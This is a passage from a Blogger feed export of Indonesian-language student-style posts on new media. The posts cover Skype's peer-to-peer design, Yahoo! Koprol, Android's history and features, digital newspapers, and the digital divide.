terjadi saat pengguna berpindah lokasi atau mencoba menghubungkan diri kembali ke dalam jaringan dengan menggunakan alamat IP dinamis. Kebanyakan dari alat komunikasi yang berbasiskan internet, mencari dan menemukan penggunanya menggunakan sentral informasi (central directory) dimana setiap nama pengguna dan nomor IPnya tercatat dan mencari tahu apakah setiap pengguna sedang dalam jaringan (online) atau tidak. Sentral informasi ini amatlah besar biayanya ketika penggunanya bertambah hingga jutaan, dengan mendesentralisasikan infrastruktur yang memakan banyak sumberdaya ini, skype berhasil memfokuskan sumber dayanya untuk mengembangkan fungsi. Teknologi jaringan P2P yang digunakan oleh aplikasi “berbagi berkas” (file-sharing) sebenarnya hampir cocok untuk digunakan pada jaringan desentralisasi yang digunakan oleh skype, namun jaringan-jaringan ini secara alamiah telah terbagi-bagi. Pencarian tidak dapat menghubungkan seluruh “ujung” yang terdapat di jaringan. Sehingga untuk dapat berkomunikasi dengan kualitas telepon yang baik dengan biaya serendah mungkin, diperlukan pengembangan generasi ketiga dari teknologi P2P (“3G P2P”) atau dikenal juga dengan Indeks Global (Global Index) disingkat IG – hal ini membuktikan sekali lagi pergeseran paradigma pada istilah “jaringan yang mungkin” . Teknologi IG adalah jaringan berlapis-lapis dimana antara penghubung-super (supernones) saling berkomunikasi dengan cara tertentu sehingga setiap penghubung dalam jaringan memiliki pengetahuan penuh akan setiap pengguna yang ada dan sumberdaya yang digunakannya dalam selubung (jeda panggilan) seminimal mungkin.&lt;br /&gt;&lt;br /&gt;Pengarah lalulintas yang pintar (intelligent routing)&lt;br /&gt;&lt;br /&gt;Dengan menggunakan seluruh sumberdaya yang ada, Skype mampu mengarahkan dengan pintar panggilan panggilan yang terkode melalui seluruh jalur efektif yang mungkin dilalui. Skype bahkan memastikan berbagai jalur-jalur penghubung tetap terbuka dan secara dinamis berpindah memilih jalur yang terbaik pada saat itu. Hal ini membuat Skype langsung menjadi perhatian orang karena dampaknya dalam mengurangi jeda sambungan dan peningkatan kualitas panggilan dalam jaringan.&lt;br /&gt;&lt;br /&gt;Keamanan&lt;br /&gt;&lt;br /&gt;Setiap panggilan dan pesan instan dikodekan oleh Skype pada ujung satu dan lainnya untuk melindungi privasi pengguna. Pengkodean ini perlu karena seluruh panggilan/ pertukaran informasi disalurkan menggunakan fasilitas Internet untuk publik.&lt;br /&gt;&lt;br /&gt;Mudah digunakan&lt;br /&gt;&lt;br /&gt;Dengan perangkat yang mudah digunakan dan bukan mempersulit pengguna, skype dibuat sesederhana mungkin – semua orang yang dapat menggunakan aplikasi Windows dan telepon karena perangkat lunak ini dapat bekerja dengan baik dengan sistem operasi komputer saku (pocket PC), Windows 2000, Windows XP, Windows Vista, Pocket PC, Mac OS X and Linux .&lt;br /&gt;&lt;br /&gt;Kekurangan&lt;br /&gt;&lt;br /&gt;   1. Penipuan. Layaknya seluruh hubungan yang dilakukan melalui internet, skype juga memiliki masalah yang sama dengan registrasi identitas penggunanya. Registrasi dapat dilakukan tanpa menyerahkan identitas diri yang sah sehingga sebagai pengguna kita dapat memilih untuk tidak meggunakan nama asli dan di pihak yang sama kita berisiko untuk berkenalan dengan orang tanpa tahu identitasnya. Hal ini rentan terhadap penipuan dan kejahatan-kejahatan lainnya.&lt;br /&gt;   2. Kapasitas yang besar. Skype memakan 23MB kapasitas harddisk ketika dipasang, dibandingkan dengan pengirim pesan instan lainnya seperti Yahoo yang memakan kapasitas lebih kecil sekitar 10- 15 MB.&lt;br /&gt;   3. Terhalang oleh waktu dan kesediaan orang yang memanggil dan yang dipanggil. Penggunaan skype dengan metode suara harus dilakukan dengan rencana sebelumnya seperti membuat janji dengan orang yang dituju, karena apabila orang yang dituju tidak siap (terhalang oleh perbedaan waktu atau kesulitan sambungan Internet) maka niat untuk melakukan komunikasi langsung melalui suara bisa jadi sia-sia.&lt;br /&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-8065815407996465891?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/8065815407996465891/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/12/skype.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/8065815407996465891'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/8065815407996465891'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/12/skype.html' title='Skype'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-6810894809547889846</id><published>2010-12-18T22:06:00.003+07:00</published><updated>2010-12-18T22:07:11.920+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='New Media'/><title type='text'>Yahoo ! Koprol</title><content type='html'>Koprol, atau sekarang yang dikenal dengan Yahoo! Koprol, merupakan jejaring sosial berdasarkan lokasi yang ditujukan untuk kota-kota di Indonesia. Koprol memberitahu lokasi sesama pengguna Koprol serta menghubungkan sesama penggunanya yang berada ditempat yang sama. Jejaring sosial ini menggunakan metode berbasis lokasi. Di sini ponsel pengguna dapat bersifat seperti GPS (Global Positioning System) tanpa aplikasi GPS dari ponsel itu sendiri. Koprol menyediakan sejumlah pilihan tempat dimana penggunanya bisa check-in di lokasi tersebut. Setelah masuk log, di sini pengguna bisa melihat siapa saja anggota lain yang sedang berada di lokasi yang sama.&lt;br /&gt;&lt;br /&gt;Di Indonesia kota-kota yang sudah dapat menikmati aplikasi ini adalah Jakarta, Bali, Bandung, Surabaya, Surakarta, Sidoarjo, Yogyakarta, Semarang, Surakarta, Bengkulu, Medan, Banda Aceh, Palembang, Makassar, Balikpapan, Cirebon, Papua, serta manca negara seperti Singapore, Houston, Indianapolis.&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Awal Pendirian&lt;br /&gt;&lt;br /&gt;Pada bulan Juli 2008, berawal dari web 2.0 biasa, Koprol kemudian dikembangkan oleh tim Koprol menjadi sesuatu yang lain. Ada pun tim Koprol yang dimaksud adalah Satya Witoelar sebagai desain dan komunitas, Fajar Budiprasetyo sebagai Production Director, dan Daniel Armanto sebagai Engineering manager. Awalnya proyek jejaring sosial ini hanyalah proyek iseng yang digarap oleh ketiga orang tersebut. Tanpa disangka, sambutan yang diberikan oleh masyarakat sangat hebat. Ini dapat dilihat dari jumlah pengguna Koprol yang mencapai kurang lebih 80.000 orang setelah satu setengah tahun lahirnya Koprol. Ini juga mengagetkan SkyEight yang merupakan perusahaan pengembang perangkat lunak, di mana Satya Witoelar, Fajar Budiprasetyo, dan Daniel Armanto turut bergabung. Akhirnya pada Februari 2009 Koprol pun diluncurkan oleh PT SkyEight Indonesia. Ide untuk Koprol ini sendiri merupakan konsep gabungan dari berbagai situs jejaring sosial yang sedang marak seperti lifestream model seperti Twitter, sistem komentar seperti Plurk, dan sistem lokasi layaknya Brightkite. Koprol menggunakan spesifikasi teknologi ubuntu 8.04, apache2, passenger 2.2.1, Ruby Enterprise Edition 20090421, rails 2.3.2, dan MySQL 5 pada server nya. Bentuknya seperti mikroblog yang sedang marak belakangan ini. Mikroblog secara singkat adalah bentuk blog sederhana yang memungkinkan bagi pengguna internet yang sedang bepergian untuk tetap dapat menuliskan teks pembaharuan singkat yang biasanya kurang dari 200 karakter dan mempublikasikannya.&lt;br /&gt;&lt;br /&gt;Arti Nama Koprol&lt;br /&gt;&lt;br /&gt;Kata Koprol yang dipilih sebagai nama jejaring sosial ciptaan Satya Witoelar, Fajar Budiprasetya, dan Daniel Armanto memiliki arti orang gelinding yang kemudian diartikan oleh mereka sebagai perpindahan dari tempat yang satu ke tempat yang lain. Ini dirasa sesuai dengan target pengguna Koprol yang merupakan orang yang mobile.  &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-6810894809547889846?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/6810894809547889846/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/12/yahoo-koprol.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/6810894809547889846'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/6810894809547889846'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/12/yahoo-koprol.html' title='Yahoo ! Koprol'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-6843194497888048786</id><published>2010-12-18T22:02:00.001+07:00</published><updated>2010-12-18T22:07:42.398+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='New Media'/><title type='text'>Android System</title><content type='html'>Android adalah sistem operasi untuk telepon seluler yang berbasis Linux. Android menyediakan platform terbuka bagi para pengembang buat menciptakan aplikasi mereka sendiri untuk digunakan oleh bermacam peranti bergerak. Awalnya, Google Inc. membeli Android Inc., pendatang baru yang membuat peranti lunak untuk ponsel. Kemudian untuk mengembangkan Android, dibentuklah Open Handset Alliance, konsorsium dari 34 perusahaan peranti keras, peranti lunak, dan telekomunikasi, termasuk Google, HTC, Intel, Motorola, Qualcomm, T-Mobile, dan Nvidia.&lt;br /&gt;&lt;br /&gt;Pada saat perilisan perdana Android, 5 November 2007, Android bersama Open Handset Alliance menyatakan mendukung pengembangan standar terbuka pada perangkat seluler. Di lain pihak, Google merilis kode–kode Android di bawah lisensi Apache, sebuah lisensi perangkat lunak dan standar terbuka perangkat seluler.&lt;br /&gt;&lt;br /&gt;Di dunia ini terdapat dua jenis distributor sistem operasi Android. Pertama yang mendapat dukungan penuh dari Google atau Google Mail Services (GMS) dan kedua adalah yang benar–benar bebas distribusinya tanpa dukungan langsung Google atau dikenal sebagai Open Handset Distribution (OHD).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Sejarah&lt;/b&gt;&lt;br /&gt;Kerjasama dengan Android Inc.&lt;br /&gt;&lt;br /&gt;Pada Juli 2000, Google bekerjasama dengan Android Inc., perusahaan yang berada di Palo Alto, California Amerika Serikat. Para pendiri Android Inc. bekerja pada Google, di antaranya Andy Rubi, Rich Miner, Nick Sears, dan Chris White. Saat itu banyak yang menganggap fungsi Android Inc. hanyalah sebagai perangkat lunak pada telepon seluler. Sejak saat itu muncul rumor bahwa Google hendak memasuki pasar telepon seluler. Di perusahaan Google, tim yang dipimpin Rubin bertugas mengembangkan program perangkat seluler yang didukung oleh kernel Linux. Hal ini menunjukkan indikasi bahwa Google sedang bersiap menghadapi persaingan dalam pasar telepon seluler.&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;2007-2008: Produk awal&lt;br /&gt;&lt;br /&gt;Sekitar September 2007 sebuah studi melaporkan bahwa Google mengajukan hak paten aplikasi telepon seluler (akhirnya Google mengenalkan Nexus One, salah satu jenis telepon pintar yang menggunakan Android pada sistem operasinya. Telepon seluler ini diproduksi oleh HTC Corporation dan tersedia di pasaran pada 5 Januari 2010).&lt;br /&gt;&lt;br /&gt;Pada 9 Desember 2008, diumumkan anggota baru yang bergabung dalam program kerja Android ARM Holdings, Atheros Communications, diproduksi oleh Asustek Computer Inc, Garmin Ltd, Softbank, Sony Ericsson, Toshiba Corp, dan Vodafone Group Plc. Seiring pembentukan Open Handset Alliance, OHA mengumumkan produk perdana mereka, Android, perangkat mobile yang merupakan modifikasi kernel Linux 2.6. Sejak Android dirilis telah dilakukan berbagai pembaruan berupa perbaikan bug dan penambahan fitur baru.&lt;br /&gt;&lt;br /&gt;Telepon pertama yang memakai sistem operasi Android adalah HTC Dream, yang dirilis pada 22 Oktober 2008. Pada penghujung tahun 2009 diperkirakan di dunia ini paling sedikit terdapat 18 jenis telepon seluler yang menggunakan Android.&lt;br /&gt;&lt;br /&gt;Android versi 1.1&lt;br /&gt;&lt;br /&gt;Pada 9 Maret 2009, Google merilis Android versi 1.1. Android versi ini dilengkapi dengan pembaruan estetis pada aplikasi, jam alarm, voice search (pencarian suara), pengiriman pesan dengan Gmail, dan pemberitahuan email.&lt;br /&gt;&lt;br /&gt;Android versi 1.5 (Cupcake)&lt;br /&gt;&lt;br /&gt;Pada pertengahan Mei 2009, Google kembali merilis telepon seluler dengan menggunakan Android dan SDK (Software Development Kit) dengan versi 1.5 (Cupcake). Terdapat beberapa pembaruan termasuk juga penambahan beberapa fitur dalam seluler versi ini yakni kemampuan merekam dan menonton video dengan modus kamera, mengunggah video ke Youtube dan gambar ke Picasa langsung dari telepon, dukungan Bluetooth A2DP, kemampuan terhubung secara otomatis ke headset Bluetooth, animasi layar, dan keyboard pada layar yang dapat disesuaikan dengan sistem.&lt;br /&gt;&lt;br /&gt;Android versi 1.6 (Donut)&lt;br /&gt;&lt;br /&gt;Donut (versi 1.6) dirilis pada September dengan menampilkan proses pencarian yang lebih baik dibanding sebelumnya, penggunaan baterai indikator dan kontrol applet VPN. Fitur lainnya adalah galeri yang memungkinkan pengguna untuk memilih foto yang akan dihapus; kamera, camcorder dan galeri yang dintegrasikan; CDMA / EVDO, 802.1x, VPN, Gestures, dan Text-to-speech engine; kemampuan dial kontak; teknologi text to change speech (tidak tersedia pada semua ponsel; pengadaan resolusi VWGA.&lt;br /&gt;&lt;br /&gt;Android versi 2.0/2.1 (Eclair)&lt;br /&gt;&lt;br /&gt;Pada 3 Desember 2009 kembali diluncurkan ponsel Android dengan versi 2.0/2.1 (Eclair), perubahan yang dilakukan adalah pengoptimalan hardware, peningkatan Google Maps 3.1.2, perubahan UI dengan browser baru dan dukungan HTML5, daftar kontak yang baru, dukungan flash untuk kamera 3,2 MP, digital Zoom, dan Bluetooth 2.1.&lt;br /&gt;&lt;br /&gt;Untuk bergerak cepat dalam persaingan perangkat generasi berikut, Google melakukan investasi dengan mengadakan kompetisi aplikasi mobile terbaik (killer apps - aplikasi unggulan). Kompetisi ini berhadiah $25,000 bagi setiap pengembang aplikasi terpilih. Kompetisi diadakan selama dua tahap yang tiap tahapnya dipilih 50 aplikasi terbaik.&lt;br /&gt;&lt;br /&gt;Dengan semakin berkembangnya dan semakin bertambahnya jumlah handset Android, semakin banyak pihak ketiga yang berminat untuk menyalurkan aplikasi mereka kepada sistem operasi Android. Aplikasi terkenal yang diubah ke dalam sistem operasi Android adalah Shazam, Backgrounds, dan WeatherBug. Sistem operasi Android dalam situs Internet juga dianggap penting untuk menciptakan aplikasi Android asli, contohnya oleh MySpace dan Facebook.&lt;br /&gt;&lt;br /&gt;Android versi 2.2 (Froyo: Frozen Yoghurt)&lt;br /&gt;&lt;br /&gt;Fitur&lt;br /&gt;&lt;br /&gt;Fitur yang tersedia di Android adalah:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Kerangka aplikasi: itu memungkinkan penggunaan dan penghapusan komponen yang tersedia.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Dalvik mesin virtual: mesin virtual dioptimalkan untuk perangkat mobile.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Grafik: grafik di 2D dan grafis 3D berdasarkan pustaka OpenGL.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * SQLite: untuk penyimpanan data.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Mendukung media: audio, video, dan berbagai format gambar (MPEG4, H.264, MP3, AAC, AMR, JPG, PNG, GIF)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * GSM, Bluetooth, EDGE, 3G, dan WiFi (hardware dependent)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Kamera, Global Positioning System (GPS), kompas, dan accelerometer (tergantung hardware)&lt;br /&gt;&lt;br /&gt;Android bagi komunitas sumber terbuka (open source)&lt;br /&gt;&lt;br /&gt;Android memiliki berbagai keunggulan sebagai software yang memakai basis kode komputer yang bisa didistribusikan secara terbuka (open source) sehingga pengguna bisa membuat aplikasi baru di dalamnya. Android memiliki aplikasi native Google yang terintegrasi seperti pushmail Gmail, Google Maps, dan Google Calendar.&lt;br /&gt;&lt;br /&gt;Para penggemar open source kemudian membangun komunitas yang membangun dan berbagi Android berbasis firmware dengan sejumlah penyesuaian dan fitur-fitur tambahan, seperti FLAC lossless audio dan kemampuan untuk menyimpan download aplikasi pada microSD card. Mereka sering memperbaharui paket-paket firmware dan menggabungkan elemen-elemen fungsi Android yang belum resmi diluncurkan dalam suatu carrier-sanction firmware.  &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-6843194497888048786?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/6843194497888048786/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/12/android-system.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/6843194497888048786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/6843194497888048786'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/12/android-system.html' title='Android System'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-8592000754892995205</id><published>2010-11-01T23:41:00.002+07:00</published><updated>2010-12-18T22:12:56.374+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='New Media'/><title type='text'>Koran Digital</title><content type='html'>&lt;span style="font-size: large;"&gt;&lt;b&gt;Sejarah&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Koran digital berkembang pesat sejalan dengan berkembangnya internet yang mulai dipopulerkan pada tahun 1982. Koran digital muncul sebagai bentuk perkembangan teknologi komunikasi dan sekaligus menjawab kebutuhan konsumen yang membutuhkan persebaran informasi yang cepat, mudah, dan instan.&lt;br /&gt;Salah satu koran nasional yang mempelopori berkembangnya koran digital ini adalah koran Kontan yang mulai membuat koran dalam bentuk digital pada 2 Juli 2008 silam. Hari berikutnya, giliran Kompas membuat koran digital Kompas. Dua koran nasional lain yang menjadi pelopor digital adalah harian Republika dan Tempo.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Contoh koran digital&lt;/b&gt;&lt;br /&gt;Hampir semua koran nasional yang ada sudah menyediakan layanan koran dalam bentuk elektronik. Beberapa koran nasional yang sudah dapat diperoleh dalam bentuk elektronik atau digital antara lain: The Jakarta Post, Jawapos, Kompas, Koran Tempo, dan Media Indonesia&lt;br /&gt;Alasan-alasan mengapa muncul koran digital&lt;br /&gt;1. Berpeluang menjangkau pangsa pasar yang lebih luas. Dalam hal ini, koran digital memudahkan para pembacanya untuk mengakses dimanapun dan kapanpun serta semua orang dapat mengaksesnya secara bebas.&lt;br /&gt;2. Adanya fasilitas hyperlink yang memungkinkan satu koran menggabungkan kekayaan informasinya sendiri dengan informasi-informasi lain dalam internet sehingga informasi yang didapat dari koran digital menjadi semakin lengkap dan aktual.&lt;br /&gt;3. Adanya kemampuan multimedia seperti menampilkan grafik, bunyi, dan video klip dalam dokumen digital secara terpadu dan sinkron yang memungkinkan koran-koran di masa datang akan lebih hidup seperti halnya radio dan televisi.&lt;span class="fullpost"&gt; &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Keunggulan&lt;/b&gt;&lt;br /&gt;1. Tampilan lebih menarik karena ditambah dengan gambar bergerak dan iklan. Tidak hanya berupa teks dan tulisan serta tata letak dan desain warna yang lebih banyak dan menarik.&lt;br /&gt;2. Beritanya selalu terbaru. Tidak seperti edisi cetak yang harian atau mingguan. Jika ada berita baru, langsung dapat diunduh dan diunggah sehingga peristiwa yang disajikan semakin aktual.&lt;br /&gt;3. Kemudahan memilih berita mana saja yang akan dibaca. Dengan koran digital akan sangat mudah untuk memilih berita karena semua terpampang di halaman pertama melalui menu preview semua halamannya. Selain itu, artikel yang bisa dibaca menjadi lebih banyak karena mampu diakses sekaligus dalam satu kurun waktu yang sama.&lt;br /&gt;4. Cepat dan bisa disimpan. Tak perlu bersusah membolak-balik karena bisa memilih-milih artikel yang hendak dibaca serta waktu yang lebih singkat untuk membaca koran ini karena mampu mengakses artikel sekaligus dalam satu kurun waktu yang sama. Selain itu, artikel yang penting bisa disimpan dengan cara mengunduh atau dalam format PDF.&lt;br /&gt;5. Tanpa kertas. Sesuai dengan isu pemanasan global saat ini, koran digital memberikan warna bagi gerakan baru untuk menghemat penggunaan kertas dan percetakan. Dengan munculnya koran digital, konten-konten dari sebuah koran dapat langsung diunggah sehingga mengurangi penggunaan kertas dalam proses percetakan yang biasa dipakai oleh media cetak. Ancaman ketersediaan kertas yang semakin menipis semakin berkurang disamping harga kertas yang semakin mahal dan ketersediaanya yang semakin menipis.&lt;br /&gt;6. Memangkas biaya produksi dan pengiriman yang mencapai angka 75 persen dari biaya pengeluaran produksi seluruhnya. Sebagian penerbit melihat inovasi teknologi ini akan membantu mereka meraih iklan online lebih besar lagi dan tetap menjangkau para pembacanya.&lt;br /&gt;7. Praktis dan mudah di dapat di manapun dan kapanpun karena akses koran digital tidak terbatas dengan berkembangnya teknologi internet. Penyimpanan koran digital pun tidak memerlukan sebuah ruang atau tempat yang luas.&lt;br /&gt;&lt;br /&gt;Koran Digital sebagai New Media&lt;br /&gt;Metamorfosa media cetak menjadi koran digital membuka peluang dunia baru dalam bisnis online yang disebut dengan New Media atau media baru. Media baru yang dimaksud meliputi berita online, blog, podcast, streaming video, dan social network atau jejaring sosial. Kehadiran koran digital ini mengadopsi segala bentuk dari media baru ini.&lt;br /&gt;&lt;br /&gt;Koran digital hadir dalam berbagai bentuk yang antara lain dalam bentuk web, RSS(web feed), dan saat ini yang semakin berkembang adalah bentuk mobile phone dimana koran digital dapat diakses melalui ponsel yang dilengkapi fasilitas 3G dan internet serta konten yang bisa diunduh setiap saat.&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;b&gt;Kekurangan&lt;/b&gt;&lt;br /&gt;1. Keterbatasan sasaran pasar. Target yang dituju hanya pada kalangan menengah ke atas yang mempunyai fasilitas internet dan mempunyai handphone yang memiliki kanal GPRS. Atau di kalangan para pebisnis dan wirausahawan yang memiliki komputer pribadi atau komputer jinjing yang bisa mengakses layanan internet melalui wifi atau modem internet.&lt;br /&gt;2. Dijadikan lahan bisnis media dan komersil. Terutama karena adanya iklan-iklan bergerak dan video yang hanya mampu diakses menggunakan teknologi Flash dan hanya beberapa pihak saja yang ahli membuat gambar bergerak ini di Indonesia.&lt;br /&gt;3. Loading masih memerlukan waktu yang lama karena kemampuan koneksi internet di Indonesia masih lamban. Kecepatan internet di Indonesia masih jauh dibawah Korea Selatan, Hongkong, China, Singapura dan Jepang yang sudah mencapai angka 16.00 Mbps dan hanya memerlukan waktu sepersekian detik untuk mengakses internet daripada di Indonesia yang masih menghabiskan waktu hingga belasan bahkan puluhan detik dengan kecepatan yang hanya mencapai ratusan kbps saja.&lt;br /&gt;4. Mahalnya biaya internet di Indonesia yang mencapai 17 kali lebih mahal daripada di negara Jepang. Dengan kecepatan yang hanya 256 kbps, para pengguna internet di Indonesia harus membayar sekitar ratusan ribu rupiah per bulan dengan asumsi kuota internet tak terbatas. Selain itu, para pembaca yang mengakses Koran Digital ini melalui telepon genggam mereka menghadapi tagihan biaya yang sama mahalnya karena harga paket yang ditawarkan oleh provider handphone untuk mengakses internet masih relatif mahal.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-8592000754892995205?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/8592000754892995205/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2010/11/koran-digital.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/8592000754892995205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/8592000754892995205'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2010/11/koran-digital.html' title='Koran Digital'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-3276805119262876219</id><published>2010-11-01T23:33:00.003+07:00</published><updated>2010-12-18T22:12:30.615+07:00</updated><title type='text'>Kesenjangan Digital</title><content type='html'>Kesenjangan digital: kelangkaan, ketidaksetaraan dan konflik Terakhir Moyo&lt;br /&gt;Pengembangan dan penyebaran media digital di seluruh dunia telah mencapai puncaknya pada sentralitas dari media dalam kegiatan sosial, politik dan ekonomi masyarakat dan organisasi di banyak negara, terutama di negara maju (lihat Dutton 2003; Hamelink 2003; Slevin 2000; Hacker dan van Dijk 2000). Sebagai contoh, di sebagian besar negara-negara maju, komputer dan ponsel yang semakin menjadi sangat diperlukan untuk bagaimana orang berkomunikasi, memilih, membeli, perdagangan, belajar, tanggal, bekerja atau bahkan bermain (lihat Dalessio 2007; Haldane 2007; Webster 1997, 2004). Teknologi informasi penggemar berpendapat bahwa ini berarti bahwa negara-negara tersebut hidup di usia informasi masyarakat, yang mereka mendefinisikan sebagai masyarakat pasca-industri (lihat Bab 1),&lt;br /&gt;mana pelayanan informasi industri dan informasi baru dan komunikasi teknologi (TIK) berada di kemudi proses sosial-ekonomi dan politik masyarakat (lihat Bell [1973] 2004).&lt;br /&gt;&lt;br /&gt;Pada prinsipnya, keterbukaan dan aksesibilitas dari internet mungkin tercermin oleh popularitas pernah meningkatnya medium. Sebagai contoh, menurut Internet Statistik dunia website, yang mendapatkan angka dari organisasi seperti International Telecommunications Union (ITU) dan / Nielsen peringkat bersih, pada bulan September 2007, terdapat sekitar 1,2 miliar pengguna internet di dunia (sekitar 18,9 persen dari populasi dunia) dan laju pertumbuhan antara tahun 2000 dan 2007&lt;br /&gt;sekitar 245 persen (lihat Internet Dunia Statistik 2007). Namun, kritikus seperti Robert Hassan berpendapat bahwa meskipun ada minoritas orang di dunia yang mungkin menggunakan Media Baru, pertumbuhan masyarakat informasi yang disebut ini dirusak oleh kenyataan bahwa manfaat dari media digital dan internet adalah 'Tidak mengalir merata dan lancar ... di dalam negara atau di seluruh dunia' (Hassan2004: 165). Sebagai contoh, sementara negara-negara seperti account Amerika Utara sekitar&lt;br /&gt;20 persen pengguna internet dunia, benua seperti Afrika hanya mewakili3 persen dari 1,2 miliar pengguna (lihat Internet Dunia Statistik 2007). Ini proporsional distribusi akses Internet di seluruh dunia dan dalam negara-negara secara umum disebut sebagai 'kesenjangan digital' (lihat Norris 2001; Hamelink 2003; Haywood 1998; Holderness 1998). Menurut Pippa Norris, ungkapan telah memperoleh&lt;br /&gt;mata uang terutama dalam merujuk pada pengguna internet dan telah menjadi 'singkatan setiap dan setiap kesenjangan dalam komunitas online '(Norris 2001: 4).&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Apakah kesenjangan digital?&lt;br /&gt;Akademisi umumnya mendefinisikan kesenjangan digital sebagai terutama tentang jeda yang ada antara orang-orang yang memiliki akses ke media digital dan internet dan mereka yang tidak memiliki akses (lihat Norris 2001; Meredyth et al 2003;. Servon 2002; Holderness 1998; Haywood 1998). Kesenjangan dalam kepemilikan dan akses media ini secara potensial dapat mempengaruhi akses ke informasi dari Internet dengan masyarakat yang kurang beruntung dan juga menciptakan atau memperkuat sosio-ekonomi ketidaksetaraan berdasarkan marjinalisasi digital dari kelas miskin dan daerah dunia. Sebagai contoh, pada tahun 1999 Thailand telah telepon selular lebih dari seluruh Afrika sedangkan Amerika Serikat memiliki komputer lebih dari seluruh dunia gabungan (lihat UNDP 1999: 75). Demikian pula, di sekitar periode yang sama, negara-negara industri (yang memiliki kurang dari 15 persen dari orang-orang di dunia) memiliki 88 persen dari Internet pengguna. Amerika Utara saja (dengan kurang dari 5 persen dari orang-orang) memiliki lebih dari 50 persen dari semua pengguna 